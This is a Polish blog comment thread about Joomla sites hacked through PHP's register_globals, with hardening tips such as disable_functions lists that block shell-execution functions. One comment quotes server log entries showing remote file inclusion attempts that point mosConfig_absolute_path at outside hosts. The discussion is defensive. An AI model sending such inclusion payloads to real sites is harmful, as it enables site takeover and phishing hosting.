Ślady


Komentarze do wpisu
avatarha! skąd ja to znam :> Turkish Hackers nie raz i nie dwa dali mi się we znaki... Uspokoiło sie dopiero po zamianie ON na OFF przy zmiennej RG, a o ile mnie pamięć nie myli, to właśnie Pan, Panie Szuman doradziłeś mi to na forum Joomla :) Kto by pomyślał jaki ten internet mały :) Podpisuję się pod apelem autora i pozdrawiam wszystkich Joomlarzy :) Ahoj
avatarfaktycznie ten net jest mały, ale nie kojarzę po nicku ;)
polecam też artykuł, który omawia pokrótce jak można zabezpieczyć się samemu porzez edycję pliku ".htaccess" w katalogu głównym naszej Joomli.
http://forum.joomla.pl/archive/index.php?t-3994.html

Dodam od siebie, że w moim ".htaccess" jest jeszcze dodatkowo linijka:

php_flag register_globals off

Powyższa linijka powoduje wyłączenie zmiennej RG dla wszystkich plików php wykonywanych w katalogach serwisu. Czyli rozwiązuje problem, o którym pisze autor tego artykułu.

Taką mam przynajmniej nadzieję. :)
do Draczeek
mozna, ale nie na wszystkich serwerach sie da. Podono tylko w przypadku php5 a w kazdym badz razie probowalem kiedys zmienic RG w .htaccess to wywalalo mi wew. bład serwera 500.
Nie wiem jak jest z innymi serwerami. Na serwerach *.nazwa.pl ta zmiana w pliku .htaccess pomaga. Na domowym XAMPP'ie jeszcze nie sprawdzałem...

Wniosek jest prosty: chcesz się czuć bezpieczny i spać beztrosko, musisz wybulić :/, albo znaleźć bezpieczny serwer dostosowany do serwisów opartych na Mambo/Joomla.
to prawda ze kluczowa sprawa jest konfirugarcja serwera i register-globals. u mnie byly 3 wlamania i skonczyly sie dopiero jak register-globals zostalo przez admina wylaczone. nie rozumiem jak mozna tak sobie lekcewazyc sprawe bezpieczenstwa. to tak jakby nie instalowac antywirusa ani firewalla no bo przeciez bez tego tez dziala. Pozdrowka
Ja wybrałem PHP.INI -> na progreso.pl :

register_globals = 0
disable_functions = show_source, system, shell_exec, passthru, exec, phpinfo, popen, proc_open
allow_url_fopen = 0
magic_quotes_gpc = 1
safe_mode = 1
avatarSzuman, świetny pomysł z napisaniem tego artykułu! To prawda, wielu "administratorów" Joomli podchodzi bardzo lekceważąco do sprawy bezpieczeństwa, bo wydaje się im, że skoro dostali fantastyczne oprogramowanie do zarządzania witryną, to już wszystko będzie cacy. Szuman, może napisz jakiś artykuł pomocny dla tych, którym zhackowano stronę i nie wiedzą od czego zacząć. Jest w internecie kilka poradników, ale ja bardzo cenię Twoje, gdyż opierasz się jedynie na swoim własnym doświadczeniu i wiele ciekawych rzeczy można się dowiedzieć, o których nikt wczesniej nie wspomniał. Dawno tu nie zglądałem i gdyby nie joomlapl.com pewnie dłużej by to trwało. Duży plus za ostatnie teksty o Joomli, tak trzymaj.
Pozdrawiam i częściej będę tu zaglądał
avatarArek, świetny pomysł z napisaniem tego artykułu ;) Poważnie, gdy tylko znajdę chwilę, napiszę coś na ten temat. Pozdrawiam
1. Fakt jest taki, że Joomla jest jednak pisana niechlujnie i nie przyjmę innego zdania do wiadomości.

2. Oprócz register_globals=off warto jeszcze zmienić allow_url_fopen na off, i allow_url_include też na off, to kolejne po register_globals największe głupoty w PHPie.

3. I jeszcze jedno, wybierzcie maksymalnie duży podzbiór poniższego:
disable_functions = php_uname, getmyuid, getmypid, passthru, leak, listen, diskfreespace, tmpfile, link, ignore_user_abord, shell_exec, dl, set_time_limit, exec, system, highlight_file, source, show_source, fpaththru, virtual, posix_ctermid, posix_getcwd, posix_getegid, posix_geteuid, posix_getgid, posix_getgrgid, posix_getgrnam, posix_getgroups, posix_getlogin, posix_getpgid, posix_getpgrp, posix_getpid, posix, _getppid, posix_getpwnam, posix_getpwuid, posix_getrlimit, posix_getsid, posix_getuid, posix_isatty, posix_kill, posix_mkfifo, posix_setegid, posix_seteuid, posix_setgid, posix_setpgid, posix_setsid, posix_setuid, posix_times, posix_ttyname, posix_uname, proc_open, proc_close, proc_get_status, proc_nice, proc_terminate, phpinfo

Oczywiście YMMV.

Pozdrawiam i życzę jak najmniej PHPa ;-)
avatarNiechlujnie... hehe... po prostu jest pisana dla określonego środowiska. Nikt nie próbuje uruchamiać Quake'a na ZX Spectrum czy Atari. Można uruchomić IE7 w Linuksie tylko nikt nad Wami nie będzie płakał jak się coś zepsuje.

Szuman, dzięki za dobry artykuł, Ty to jakiś weteran jesteś... 6 razy! Może słowa poszkodowanego zadziałają lepiej niż informacje świecące na czerwono i wielokrotnie maglowane na forum. Miejmy nadzieję, że tak. Swoją drogą to jednak chyba komuś musiałeś podpaść ;) - nie ważne jak się podpisuje.

Błąd 500 wzmiankowany wcześniej najprawdopodobniej bierze się z jakiegoś skryptu, który wymaga RG - ma tak nie jeden z popularniejszych skryptów e-commerce (nie VM), ale zdarzają się też takie potworkowate rozszerzenia dla Joomla!
avatarz tym niechlujstwem, to w jakimś stopniu jestem w stanie się zgodzić, ale wątpię, aby to niechlujstwo było zamierzone. "Gdzie kucharek sześć..."
Równie dobrze można się czepiać konstruktorów, że bolidy F1 nie radzą sobie w terenie.

@Viking
hehe, z tym weteranem to trochę przesada ;) pierwszy atak, to nawet nie wiedzialem co sie stało, po drugim zaktualizowałem Joomla (chyba do 1.0.10), ataki nr 3,4 i 5 nastąpiły w przeciągu czterech dni i wtedy właśnie wyłączyłem RG. Szósty atak, to marzec tego roku, po zmianie serwera prosiłem o wyłączenie Register_Globals, ale goście z supportu uparli sie, że mają własny "security system" i jeszcze nie było u nich włamań na Joomla. No i po włamaniu support dostał kawałek logu z czasu ataku, link do obszernego wyjaśnienia wpływu RG na bezpieczeństwo i wyłączyli. Fajne było to, że niedługo po tym na wszystkich serwerach wyłączyli RG :)
avatarŚwietny artykuł. Od miesiąca sam walczę z upartym hakerem, który chyba robi wszystko aby mnie zniszczyć. Register globals mam na OFF, a mimo to wchodzi przez serwer proxy, wgrywa mi plik, który powoduje potem zepsucie wszystkich plików Pobieralni. Provider wskazał logi, administrator serwera proxy potwierdził i zabezpieczył dane, Policja czeka na decyzje prokuratury, co może potrwać i pół roku, a haker sie śmieje. Co z tym zrobić?
avatarmoże ten hacker ma na Twoim serwerze własną furtkę? Mi kiedyś podrzucili kilka plików, z których jeden z nich był swoistym menedżerem plików niczym JoomlaXplorer. Znalazłem go w logach...
dlaczego piszesz o Joomli a sam używasz czego innego? Nie, że się czepiam, ale co najmniej dziwnie to wygląda? Czy uważasz Joomle za niedostatecznie dobrą?
avatarCheops, czepiasz się :) Cały czas uważam Joomla za najlepszy CMS, którego miesiąc temu wymieniłem na Serendipity. Serendipity jest w sam raz: więcej nie potrzebuję i nie będę potrzebował, a Joomla z ogromem możliwości marnował się na blogu. Joomla używam na innej mojej stronie: www.wudeka.net i wkrótce postawię kolejny, bardziej ambitny serwis - oczywiście na Joomla.
avatarna nazwa.pl register globals ustawia sie w .htaccess. Na koncu pliku .htaccess nalezy wstawic wpis

php_flag register_globals off

przed ta linijka musi byc enter czyli pusta linia. Pozdrawiam i dzieki za artykuł. Bardzo mi pomogł bo jestem w trakcie budowy swojej pierwszej stronki i pewnie bym zlekcewazyl sprawe register-globals :-P
#Michał B.

zrobiłem tak jak piszesz na nazwa.pl ale po wrzuceniu takiego htaccess ale nie działa :(
avatar@Level1

jeśli zrobiłeś tak, jak radził Michał B. to musi działać (wiem, bo to samo robiłem na nazwie.pl).
W .htaccess na końcu:

php_flag register_globals off

a przed tym wpisem pusta linia (Enter). Musi działać, próbuj :)
zapomniałem zmienić nazwę htaccess.txt na .htaccess... dzięki :)
jaki serwer polecacie dla Joomla? Zrobiłem stronę na Krasnalu i chciałbym ją przenieść na hosting. Możecie coś polecić? Z góry dzięki za poradę. Pozdrawiam

M.
avatar@Mariusz, serwer najlepiej stabilny :) Sprawdź takie marki jak iq.pl, kei.pl, kylos.pl, nazwa.pl, home.pl - te z cała pewnością stanowią czołówkę najsolidniejszych providerów. Przetestuj i zdecyduj sam ;)
avatarJednym z najbardziej skutecznych zabezpieczeń i zarazem podstawowych Joomli jest zabezpieczenie folderu "administrator" hasłem poprzez plik httaccess, które od zawsze stosuje. Wtedy żaden atak opisany w artykule nie miałby miejsca i nie trzeba by było nawet bawić się z "register globals" (chociaż i tak trzeba to dać na OFF).
avatarWitam, nie znam sie zabardzo na zabezpieczaniu strony, która mam w Joomla 1.5.5, ale ten problem z pier... turkiem jest u mnie. Zmienił index i hasło dostepu na stronę. Odzyskałem hasło i zmieniłem index, ale co mam zrobic dalej?
włam mozna zobaczyc tu www.erotoman.website.pl, a strona tego kuta... to http://www.turk-h.org/webmasters moja strona to najnowsze jego hackowanie.Prosze o pomoc.
avatar20 stron moich klientow dziala na joomla.

Ostanio mialem ataki Phishing PayPal na 1 z nich i telefon z USA w tej sprawie z firmy 'Internet Identity'. teraz naprawione.

kolejne wlamania z ktorym sie nie moge uporac to druga strona ktora trafila na liste: phishtank.com

po logach widze ze ciagle byly wywolywane jakies dziwne adresy:

1) templates/archzone/css/indexs.html
2) mambots/content/multithumb/multithumb.php?mosConfig_absolute_path=http://2006.aninite.at/mambots/test.txt??
3) index2.php?option=com_content&do_pdf=1&id=29/index.php?option=com_content&task=&sectionid=&id=&mosConfig_absolute_path=http://forumsupport.terra.co.id/Packages/test.txt??

wstawiali tez na serwer pliki:

tempaltes/system/paypal.de
media/ paypal itp.

da sie wogule przy pomocy tej zmiennej wgrac coskolwiek na serwer ???

prosze o pomoc..
od kilku 2 lat wdrazam strony na joomla i zawsze ok.
avatar@Alan, drugi i trzeci przykład z Twoich logów to nic innego, jak dowód na przeprowadznie właśnie ataku z wykorzystaniem włączonej funkcji register_globals.

wyłącz ją, jeśli jest to możliwe.

Czy da się tym sposobem coś wrzucić na serwer? Tak. Czytałes w ogóle ten wpis, czy tylko wszedłeś tu i od razu opisałeś się w komentarzu?
avatarczytalem wpis.

zmienna register globals jest WYŁĄCZONA NA SERWERZE. jest to ogolne ustawienie tego serwera.

zainstalowalem nowa joomla i jestem ciekaw czy atak sie powtorzy... ;/

a moze w httacces cos jeszcze ustawic ?

prosze o pomoc,
dziekuje
avatar@alan

Nową? To znaczy że miałeś nieaktualną wersję Joomli zawierającą znane błędy bezpieczeństwa?
avatarmialem joomla 1.5.1 Stable, teraz instaluje najnowszą na wlasne ryzyko..... ;/

ciekae czy ciag znakow ktory wpisuja jakies roboty znowy spowoduje wlamanie.
avatar@alan
A słyszałeś o czymś takim jak UAKTUALNIENIE? :]
avatar@Alan, 1.5.1? Chłopie, jedenaście wersji do tyłu i robisz za profesjonalistę? Cóż, współczuć Twoim klientom :/ A później gadają tacy biznesowi, żeby danego CMS-a nie brać, bo hakerzy, że z własnego doświadczenia. A to nie system, a jego admin dupa.

Z resztą jest jeszcze taki sęk, że serwer globalnie może sobie mieć, ale Joomla czasem robi swoje i lubi sobie emulować jakieś rzeczy (w tym RG=ON), albo zawłaszczać prawa do katalogów i plików. Nie patrz na globalne, ale na to, co mówi PA w info o konfiguracji.
avatarnaprawde dzieki za pomoc. teraz znam swoje bledy, a twoja notka okazuje sie przydatna.

tylko ja jestem zwolennikiem Joomla wiec nie mow ze ja cos tam gadam na tego CMS-a. "teraz instaluje najnowszą na wlasne ryzyko....." - gdy ci admin zablokuje 4 razy serwer, to zrozumiesz.


Ja nie mieszcze sie w profilu 15-letniego lamusa, nie pisze na forach "pomocy", nie tworze stron za 50zł na allegro, nie pisze do ciebie na maila i nie truje dupy "pomoz mi bo sie wlamali". z tym ostatnim tekstem nie trafiles.
avatar@Alan, nie mówię, że coś gadasz albo że odstawiasz dziecinadę na forach.
Stwierdzam jedynie brak profesjonalizmu, bo jak inaczej nazwać utrzymywanie wersji 1.5.1, kiedy dostępna jest 1.5.12? Lenistwem? Olewaniem? Jedno i drugie sprowadza się do amatorszczyzny.

Rozumiem, że można sobie odpuścić update o niższym priorytecie, ale wśrod jedenastu przegapionych przez Ciebie aktualizacji kilka było krytycznych.

Ryzykować można własnymi stronami, a nie swoich klientów. I to właśnie oni później gadają że system jest do bani, bo swoje osądy opierają na widocznych efektach. Chyba, że admin, który zawalił, przyzna się do winy.
avatarniczym, niczym nie mozna wytlumaczyc, ale taka natura ludzka... dopoki wszystko jest ok za kazdym razem i nic sie nie dzieje, nie myslalem o aktualizacjach. rutyna poprostu.

dziekuje.

p.s kiedys joomla dawala czerwone komunikaty, one chyba powinny nadal obowiazywac dla takich jak ja i mowic, "zrob aktualke". hehe.

Dodaj komentarz
Chcesz mieć własny avatar przy komentarzu?
BBCode format dozwolony

Proszę, wpisz widoczny na obrazku kod do odpowiedniego pola. Twój komentarz zostanie dodany tylko gdy wpisany kod będzie się zgadzał z tym widocznym na obrazku. Proszę, upewnij się, że Twoja przeglądarka ma włączoną obsługę cookies (ciasteczek) lub Twój komentarz nie przejdzie poprawnie weryfikacji.
CAPTCHA